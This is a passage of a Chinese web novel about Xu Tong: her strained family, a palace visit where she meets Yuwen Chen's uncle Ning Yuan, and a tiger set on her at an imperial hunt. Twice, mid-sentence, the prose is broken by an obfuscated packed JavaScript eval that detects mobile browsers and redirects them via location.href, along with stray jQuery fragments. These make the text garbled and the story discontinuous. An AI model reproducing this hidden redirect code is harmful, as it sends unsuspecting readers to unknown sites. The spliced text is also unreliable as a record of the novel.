不过……许曈摇了摇头,她不觉得自己会被二皇子撩到——毕竟不久之前,她差点就被二皇子害死了,发生过这种事,如果她还能对二皇子生出什么感情来……许曈都要怀疑难道自己是有斯德哥尔摩了。 管他有什么念头到底想做什么,反正她是不为所动的。 二皇子这种人,根本不在她的审美范畴之内。 晋王世子宇文谌也不是。 “没有血缘关系……”傅容萱喃喃道:“我之前倒是没想过这个可能……” 她沉默了挺久,突然出声,引得许昤和许曈都看向她,许昤见她念叨着那些话,连忙推了傅容萱一把:“表姐你不要瞎想!” 许昤声音低低的:“还是那句话——无论如何,他要是上位,对我们两家是没有好处的……何况他这人……并不怎么好相与的样子。” 傅容萱回过神来,低下头:“放心吧,就是想想而已。” 26. 026 宫中 许旻接许曈回杜家的路上,车驾突然被人拦住了。 看出去的时候,发现拦下他们的人是许定,许曈不免有些发憷。 总觉得许定来是要兴师问罪的—— 想想也是,杜沅当着那么多人的面说要与许定和离,他这人这么爱面子,心里肯定是不舒爽,而许曈和许旻两人,许曈是一切事件的导火索,许旻在杜沅要和离的时候,想都没想就决定抛弃他跟杜沅走——如今杜沅回了杜家,顾及着杜家以及太子,他不能对杜沅做什么,可是许旻和许曈,毕竟是他的儿子和女儿,他要是想“教导教导”他俩,外人也不好说什么。 许旻一见着他,便将许曈挡在了身后,许曈愣了一下,抓着许旻的手臂,心里想着,万一许定要是打许旻的话,她就把许旻拉到一边。 许定看见他俩的模样,脸色僵硬。 他不说话也不让开,许曈和许旻便更担心了,都怕他会对身边的人不利。 许定今日倒也是奇怪得很,虽然尴尬,不过似乎也没生气,过了一会挤出笑容道:“你们要回家了吗,今日学业如何?过得可好?” 许曈和许旻对视了一眼,都觉得许定这表情有些奇奇怪怪的,他们一向习惯了许定的冷脸,突然这样,实在是令人心里发毛。 见许旻和许曈并不领情,反而更害怕了,许定愣了一瞬,突然叹气:“我来接你们回家。” 许曈更恐慌了——他这是想将他俩绑架了好逼杜沅就范的意思吗? 杜沅回杜家之后,便再也没出过大门,许曈倒是听说,许定被老夫人罚跪祠堂三日,出来之后便想上杜家接人……然而吃了闭门羹。 如今杜家上下,对于许定那是不待见得很。 为了把杜沅逼出来,他没准真会做出这种事来。 许旻身子微微发抖,然而还是努力挺直了腰杆:“母亲让我跟阿曈今日早早回去。” 许定点头:“放心吧,这”就送你们回去。” 许曈和许旻有些摸不着头脑,许旻想了想又道:“今日出门之前,外祖父让我回去之后去拜见他。” 许旻这反复的提醒,许定要是不能明白许旻话里的意思,那也算是白活了:“放心吧,便是送你们回杜家。” 他说着便不再理他俩,见许旻和许曈那样子,他也不好意思上来,只在外边骑马护送他们,面上似乎是瞥屈得很。 马车继续前行,许旻和许曈不知道许定到底要做什么,他就在外边,许旻和许曈也不敢讨论他,就这么一路沉默着。 他与他们是父子父女,但是一直以来,似乎没什么温情的时刻。 对许曈他是不闻不问,对许旻他则是过分严厉,如今杜沅要和离,许旻许曈和他本就不亲近,现在更是不安得很。 好在他也没再起什么幺蛾子。 到了杜家,许曈总算是知道他打着什么主意了——原来是想着送许旻许曈回杜家的时机,趁机进入府中,应该是想找杜沅。 然而今天他还是没能如愿。 杜家的仆从看见他,拦下了他还是不让他进去。 许曈以为他会死心,结果第二日,他又来了,这一次没有再在外边,而是上了马车。 许曈和许旻不敢招惹他,也只好任由他。 到了杜家,恰好遇着杜家二舅舅从府中出来,见他们的车驾,便招呼许旻与许曈下来,然后杜家二舅舅便让他俩跟着他回府了——顺便让赶车的车夫将许家的马车送回许家。 第三日,他们便换了杜家的车驾,下人也换了杜家的—— 没到时候,车夫便早早来接了他俩,这一路上没碰到许定。 再接连几日,许定便也没出现。 一再受挫,也许许定是放弃了吧。 在杜家的日子过得不疾不徐,一晃眼,便是一个月过去。 许定除了一开始殷勤了几日,后来便又没了声息,许旻和许曈稍稍安心,可是心中还是难免会有些失落。 太子为了补偿许曈,赐下了许多东西——都是送到的杜家。 一开始,许曈的确是有些埋怨太子太偏袒宇文谌的,可是如今看太子这样,心里也算是真的原谅了他——她也总不可能就因为宇文谌的事一辈子迁怒太子,毕竟傅容萱也说了,和太子搞好关系,总归是利大于弊。 如此相安无事一个月之后,宫中突然来了旨,宣杜沅带着许曈与许旻进宫一趟。 说实话,其实许曈心中还是有几分期待的,但是更多的却是不安。 虽然太子说了会劝宫中不插手杜沅和许定的事情,可是许宁毕竟是许定的胞姐,想来也不可能真的就不闻不问。 这次召他们入宫,只怕到底还是想劝杜沅,或者干脆给杜沅甚至杜家施压。 第一次入宫,许曈心中忐忑得很,生怕自己走错步或是说错话,虽然太子看起来和善可亲,可是谁知道皇后或者说皇帝到底是什么性情,身居高位的人,与他们说话只怕得打起十二分的小心, 出乎意料的是,这一行似乎是顺利得很,见到许旻和许曈,夸了他们两句,赏了礼,让内侍带着他俩在宫中走走,她自己则是留下杜沅。 许曈有些担忧,生怕许宁会以势欺人逼迫杜沅,只是杜沅似乎并不担心,许宁想了想,让内侍带着许旻与许曈往东宫而去。 太子见了他俩,倒也欢喜,只是今日的授课未结束,不好与他们闲叙。 顾太傅见了许旻,问了一句是否是师从褚先生,许旻虽不解,但也没有说谎的必要,顾太傅便让许旻留下与太子一道听听。 顾太傅倒也没有说女子不可留下的意思,然而许曈听了一会,觉得顾太傅所讲的东西对于如今的她而言,还是太深奥了些。 顾太傅教导太子学问,只要是负责太子,以及太子伴读,许曈早就知道,裴家表哥与宇文谌都是太子伴读,然而今日他俩都不在。 裴家表哥不在许曈知道是什么原因——许曈的二姨母不久之前刚过世,裴家表哥尚在热孝中,所以不在此处——然而宇文谌到底是为何也不在?她过来的时候,还在担忧说万一要是遇着他了可怎么办才好。 她问了一句,内侍看了她一眼:“晋王世子如今在闭门反省中。” 许曈愣了愣,倒也没想到太子这一次居然是真的狠下心来要教育他了。 正想着事呢,突然听到人道:“这就是让那小子吃亏了的姑娘啊?” 许曈抬头,看见一个约莫中年的男子正站在前方打量着她,连忙告退,却被人唤住:“你且留下。” 许曈退也不是留也不是,心中颇为恼怒。 她倒是没想过自己会遇到外男,更没想过自己会遇到刁难。 听内侍跟那人行礼,唤他宁少保——许曈才恍然大悟。 得罪了宇文谌,为了保险起见,许曈只是把他的事情给问清楚,以防万一,而许昤涉猎颇广,给许曈讲了一个可歌可泣的故事—— 说实话,如果不是有宇文谌这个败笔的话,许曈觉得晋王与晋王妃的故事,可堪称一段佳话。 先帝在位时,有九个皇子,当今陛下以及晋王因为年纪小,并不是其中最出挑的皇子。 最出挑的是陛下上边的五位兄长。 然而便是这五位兄长,最后发动了宫变,无人被先帝处死,先帝却也因此元气大伤,最后剩余的几个皇子,当今是因为最年长所以即位的。 宁家曾是京中大族,宁家的女儿、眼前这个宁少保的妹妹更是曾与晋王定亲。 然而宁家参与了五王谋反之事,被陛下迁罪,宁家所有成年男子均被流放,未成年的孩子以及女眷,则是沦为官奴。 先帝曾有命,宁家男子用不复用,宁少保曾是读书人,然而知道不可能科举入仕,为了养家,便入了齐王府做护院。 而晋王妃则是选择了入宫做宫女,许多人说她是为了攀龙附凤,也有人说她是想仿效程夫子——宫女入宫十二年,或者年满二十五,可放出做良家子。 然而她在宫中,遇到了晋王。 曾经是有过婚约两个人,在深宫高墙之中相见,然而再见时,一个是高高在上的王爷,一个是卑贱如泥的奴仆,虽然曾有过一些瓜葛,可是时过境迁,本来也不应该有什么下文的。 奈何宁家与许家有旧——许宁有心撮合,不过却似乎适得其反,因为杜沅长姐的缘故,晋王妃收到牵连,差点被处死—— 说到这里的时候,许昤还感慨了一番,说许曈和宇文谌倒也几乎算得上是世仇了。 最后的结果,是杜沅的长姐被打入冷宫——这已经是杜家求了许宁之后能得到的最好的结果了,也正是因为如此,杜沅最后嫁了许定。 晋王妃大难不死,反而被提为陛下身边的女官—— 坐到女官的位置,出宫之路反而无望,然而晋王妃父亲与叔父流放之地长州出了事故,晋王妃父叔双双陨难,晋王妃求陛下允许欲千里迎回父叔的骸骨,这一趟长州之行,却又生出了意外。 西戎进犯,晋王与晋王妃失踪,后来晋王得以生还,晋王妃却去了西戎。 晋王妃的父亲原来并没有死于那一场灾祸,而是潜逃出去,守卫的官员怕出事,将消息隐瞒不发,本以为借着那一场祸事顺便掩盖看守不力的罪责,本来是很成功的——奈何晋王妃的父亲竟是叛国投靠了西戎,并让人进犯边境——听说一时之间,人人皆骂其乱臣贼子。 连带着晋王妃,也受尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142888|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唾骂。 在众人看来,晋王与晋王妃更是毫无再续前缘的可能—— 谁知道晋王妃的父亲居然敢递交国书于陛下,以犯边为要挟,逼迫晋王与晋王妃履行昔年的婚约。 陛下不知出于何种考量,居然应允了此事。 两个本来应该再也没有可能的人,最终还是成了一家人。 故事到这里,本来该是一个悲剧,两个人在那样的情形下结合,晋王应该是极为讨厌晋王妃才是,然而如今世人提起晋王与晋王妃,都说他们是恩爱夫妻。 原来晋王妃的父亲并不是真的叛国,而是诈降,他费尽心思得到了西戎国主的信任,身居高位,借着要求晋王与晋王妃履行婚约的国书,在西戎国主的眼皮底下,与陛下定下了对付西戎的计策。 借着晋王与晋王妃“和亲”的机会,晋王妃的父亲让西戎最强盛的军队攻入了本朝腹地,如出入无人之境,正当西戎以为自己大获全胜之时,被徐老将军带领的兵马合而歼之——这本来就是一个请君入瓮的计划。 西戎因为那一战,损失惨重,最精锐的军队、最善战的将军被人全数歼灭,罪魁祸首的晋王妃父亲宁翝,被西戎国主处以极刑,尸骨无存。 他曾经被认为是一个叛臣,到最后被发现原来是忠臣——即使朝廷将他流放至边疆服苦役,依旧想着如何替家族赎罪。 他本不必这么做,然而即使他未曾参与谋反,因为连坐的缘故,他别无出路。 宁家别无出路。 他选择了最困难的一条路,舍了自身,换来西戎元气大伤,换来本朝十数年太平。 因为他的缘故,陛下赦免了宁家的罪责,宁家得以重新起复,他的长子,后来成了太子少保—— 他的女儿,与晋王也终于冰释前嫌,二人恩爱甚笃,和美异常—— 只可惜生了一个小魔王。 有人说晋王与晋王妃常年不在京中,一定是被宇文谌气的——许曈觉得十分有理:她要是有这么一个儿子,肯定也是不想看到他的。 他父母不管他,只好由陛下这个伯父管着——宇文谌便是这样,与太子一道长大,与太子伴读。 而许曈眼前这个人……就是宇文谌的舅舅,太子少保宁渊。 看到他,许曈便有些无奈——这是回去告诉家长,然后家长出面吗? 她不由得在心里再度鄙夷了宇文谌一番。 她最讨厌这种打不过叫家长来的戏码了——关键是这祸事一开始,还是宇文谌他自己挑起来的……他哪来的脸告状啊。 宁渊围着许曈打量了半天:“倒是看不出有什么特意之处,如何就能让阿谌吃了亏?” 许曈被他看得心中发毛:“宁少保有何贵干?” 宁渊摆摆手:“你去吧,无事。” 许曈反倒惊异了——这……不是来找她麻烦的人? 宁渊见她那眼神,瞪大眼睛:“怎么你以为我是会以大欺小之人不成?” 他是宇文谌的舅舅——这人护短也是远近闻名,晋王晋王妃不在京中,除了陛下之外,也唯有宁渊能管教宇文谌一二……然而这个人一向放纵宇文谌,宇文谌长成今天这性子,其实宁渊脱不了干系,宁翝为国做了那么大的牺牲,宁渊算起来也算功臣忠臣之后,陛下顾念宁家,对其多有放纵,导致的结果就是,他教出了一个人人惧怕的小魔王。 许曈唯一庆幸的是——好在太子没被这人给教成跟宇文谌一样的人。 提起宇文谌……许曈又想起一件事—— 虽然名分上,晋王是徐老将军之女所出,是徐老将军的外甥,然而根据许昤不知道哪里得来的八卦野史,晋王其实是一个宫女所生,被先徐太妃当成了自己儿子养大。 而那个宫女,据说姓程。 并不是程夫子,而是程夫子的妹妹。 程夫子姐妹两人少时分离,程夫子妹妹入了徐家为婢,最后跟着先徐太妃入宫,姐妹两人在宫中相见团聚,然而后来程夫子的妹妹便传闻是死在了宫中。 可是后来晋王从宫中带了一个老宫女出宫,有人说那才是晋王的生母、而那个人,是程夫子那个被传言早就死在了宫中的妹妹。 程夫子妹妹的身份至死都未能得到陛下的册封,因此外界也只能是传闻而已。 可若事情是真的,许曈觉得宇文谌就真的是阴魂不散了—— 简直是逃到哪里,都能遇到一个跟他有关系的人。 “你倒是有趣得很,”不理会许曈面上的惊疑不定,宁渊顿了顿提醒了她一番:“阿谌被太子殿下要求闭门思过,然而我看他并没有反省的意思,反而是怒气更甚了……他再过半个月就出来了……小丫头你好自为之。” 27. 027 对比 杜沅和许宁到底说了什么,许曈不得而知,不过之后,许定又开始出现在他俩兄妹跟前。 这一次,他倒是没再做额外的事情,就是每日护送他俩回杜家而已,偶尔问起许旻学业上的事情,只是不再似以往那般严苛。 他跟许曈倒也依然是十分尴尬与生疏。 许曈却没空理会他,她如今唯一一件担心的事情,就是宇文谌闭门思过即将出来了。 有些动物,把他关在笼中,是为了驯化,但有些动物……关进了笼中非但不会让他变得更温顺,反而是会更暴戾。 宇文谌无疑就是这后者。 那日宁渊提醒许曈的时候,许曈可不领他的情——宁渊明知道宇文谌现在记恨她记恨到了极点,不想着劝他反而是来提醒许曈……怎么看都像是想要看戏幸灾乐祸的样子。 都说外甥肖舅,太子努力让自己不像许定,宇文谌却是青出于蓝而胜于蓝。 让许曈担忧的是,按理说宇文谌早在几天前已经出了关——然而直到现在,许曈身边也依然是风平浪静。 都说暴风雨前最宁静,许曈如今也是这样觉得的。 宇文谌一出来便找补回来,许曈反倒没这么担心了,可是对你等着等着他迟迟不来,许曈心中便有些打鼓了。 转眼入了秋,陛下带领百官前往京郊围场秋猎,兴许是许宁为了撮合杜沅许定,陛下点了杜家随行,并让杜家带上杜沅许旻与许曈。 在看到许定也随行的时候——还有什么事不明白的呢。 陛下与许宁都在,太子便留在京中,许曈与傅容萱对此遗憾得很——这一次围猎,傅家也在随行之列。 不过看到二皇子与宇文谌也在,许曈就又开始忧心起来。 宇文谌倒是想过捉弄他,然而不知道为何,他都没能成功——每次恰好都被二皇子给挡下来了。 许曈不禁开始怀疑之前傅容萱和许昤说的那些话,如今看来,似乎是真的。 不过许曈觉得二皇子未必就真的如傅容萱所说的那样,欲对许曈献殷勤,她还是觉得二皇子是想算计她想借宇文谌之手除掉她——殊不见每次宇文谌的恶作剧被打断,宇文谌看着许曈的眼神便深了几分。 之前那些都只是小打小闹,不让他成事是为了增加他的怨气值,等他怨气值满格的时候,只怕就会给她来一个大招了。 许曈每日小心得很,不过如果一直被人记挂算计着……不怕贼偷,就怕贼惦记这句话诚不我欺,许曈每日小心翼翼,结果还是着了道。 看到那只本该被关在笼中的猛虎虎视眈眈地盯着她,身子低伏着随时可能一跃而起咬碎眼前的猎物——她时,许曈看到远处洞开的笼子,心里恨不得把宇文谌骂上千遍万遍! 虽然她没看到宇文谌在哪里,可是许曈就是确信——让她落了单然后被人莫名其妙掳到这里来的事情,一定跟宇文谌脱不了干系! 她先前以为自己要被拐卖了,心里已经是怕到不行,见了那只老虎才知道宇文谌比她想象的还要过分! 许曈喜欢小孩子,但是讨厌熊孩子,可是宇文谌已经无法用熊孩子三字能描述了,他就是只恶魔。 小小年纪,恶毒至此,许曈觉得他要是在她身边的话,她一定要将他扔给这只大老虎,让他面对这只猛兽的威胁,看看这种事是不是就真的有趣。 她以前听说有些古代有些人,比如说古罗马人喜欢在斗兽场看人与猛兽厮杀,万万没想到,有朝一日她居然成了被人观看的那个! 可她一点都没有跟这只老虎搏斗的心思,她也没有能耐跟老虎搏斗——她跑都未必跑得过它! 许曈心里将宇文谌咒骂了无数遍,她特别想跑,可是不知道为什么,面对这只猛兽的时候,她的脚软得动都动不了。 虽然老虎离她很远,可是许曈觉得只要她一动,肯定会被老虎追上。 跑不动的许曈跟老虎对视了好一会,那老虎终究是失了耐性,身子弓成一张弓,似乎便要向她飞跃而来。 相信自己逃不掉,许曈只能眼睁睁看着它袭向自己,然而幸运的是,那老虎并没有过来,许曈闭着眼睛只能听到老虎的嘶吼声,睁开眼睛的时候,却发现那老虎依旧在原地,背后中了三支箭,此刻躺倒在那儿,虽然身上还有起伏,不过似乎已经是动不了了。 劫后余生,许曈惊魂未定,腿脚还是发软动都动不了。 “你没事吧,”身后有人声音响起,许曈回头看去,发现是谢研,说话之间,他已经走到了许曈身边:“许九姑娘,你还好吗?” 许曈看了看他手上握着的弓箭,这一放松,腿一软便瘫坐在地上,眼泪也跟着流下来了。 上次落水的时候,她都没哭,虽然也濒临死亡,可是不像这次这样,这么近距离地接近恐惧。 人类在面对这样的野兽的时候,实在是太弱小无助了。 谢研吓了一跳,又怕老虎还有余力,一边余光小心盯着老虎的方向,一边询问许曈:“怎么了?” 许曈好不容易缓和了心绪,想要起身,然而脚还是发软,见谢研正看着自己,有些不好意思:“起不来。”她觉得太丢脸了些。 谢研愣了愣,突然一笑,倒也并不是嘲笑她,许曈呆呆地看着他对她伸出手,一时之间回不过神来。 “得罪了,”她没能领会谢研也不恼,伸手将许曈扶起来:“现在能走了吗?” 许曈试了一下,虽然能站起来了,然而走起路来,脚还是有些发抖,刚走几步便又要摔倒。 谢研眼疾手快扶住了她:“我扶着你离开这里吧。” 也只能如此了,许曈点点头:“多谢。” “不必多礼,”谢研声音轻轻的:“许十一与我同窗,既然遇到了,没有袖手旁观的道理。” 许曈微愣——她倒是没想到只见过一面,谢研居然记住了她是许旻的妹妹。 想起傅容萱一心想要撮合她跟谢研——以前许曈只觉得傅容萱无聊,可是此时此刻,想着他刚刚从老虎口下救下自己,还记得自己是谁……许曈感觉变有些怪异。 她以前看剧看小说的时候,看到英雄救美然后女子就对救她之人芳心暗许的剧情嗤之以鼻,觉得哪里就那么容易爱上了——经历刚才那一刻,才总算有一点点明白:人在经历生死的时候。是真的很容易对救命之人产生依赖感的。 不过许曈的程度比较轻,许曈想了想,可能是因为年纪不合适,还有就是觉得大概可能那只老虎的威胁还不太够,要是老虎是扑倒她身上然后被救下的,一定更惊心动魄。 当然,她并不想跟老虎兄有这样的亲密接触。 好不容易走到安全地带,许曈终于舒了口气,听谢研让人过去查看那只老虎死了没,许曈力气也终于回复,跟谢研告辞打算回去,远离这是非之地。 刚走了几步,便感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宇文谌恼极:“我说过我没想要你的命,就是吓吓你而已——谁让你撺掇太子哥哥罚我闭门思过——你却偏偏小题大做!” “这么看来,你闭门思过也真的就没有半点用处,”许曈冷笑:“你说我小题大做,你说你只是想吓我?谁信?你就是真真切切想要我死——而且不止一次。” 宇文谌嘟囔着:“你不是活得好好的吗。” “好好的?”许曈觉得他简直是不可理喻:“我几乎是九死一生你觉得这是‘好好的’?我差点被你淹死、差点被老虎咬死——” 宇文谌抢白道:“都说了老虎没牙还被锁着——” “好,那我们换个说法,我差点被老虎吓死,你觉得这些都还是‘好好的’?”许曈懒得看他:“你能站在这里跟我说这都是玩笑,那是因为我运气好侥幸没死而已,就算我不幸死了,你是不是也觉得无所谓?别人的命在你看来就是一文不值逗你一乐的事情?” “好,就算你是真的在开玩笑,这样不知轻重不知分寸的玩笑,你觉得很有趣?”许曈懒得理他了:“你想弄死我便明说,别拿开玩笑当借口,你这玩笑,没几个人能玩得起的。” “你想要我的命,是很简单的事,别弄那么多弯弯绕绕的,无非就是想折磨摧残别人罢了,你不嫌累我还嫌烦呢,”许曈转身便走,看都不看他:“野兽捕猎,至少还懂得一击致命呢,在我看来你还不如一只野兽。”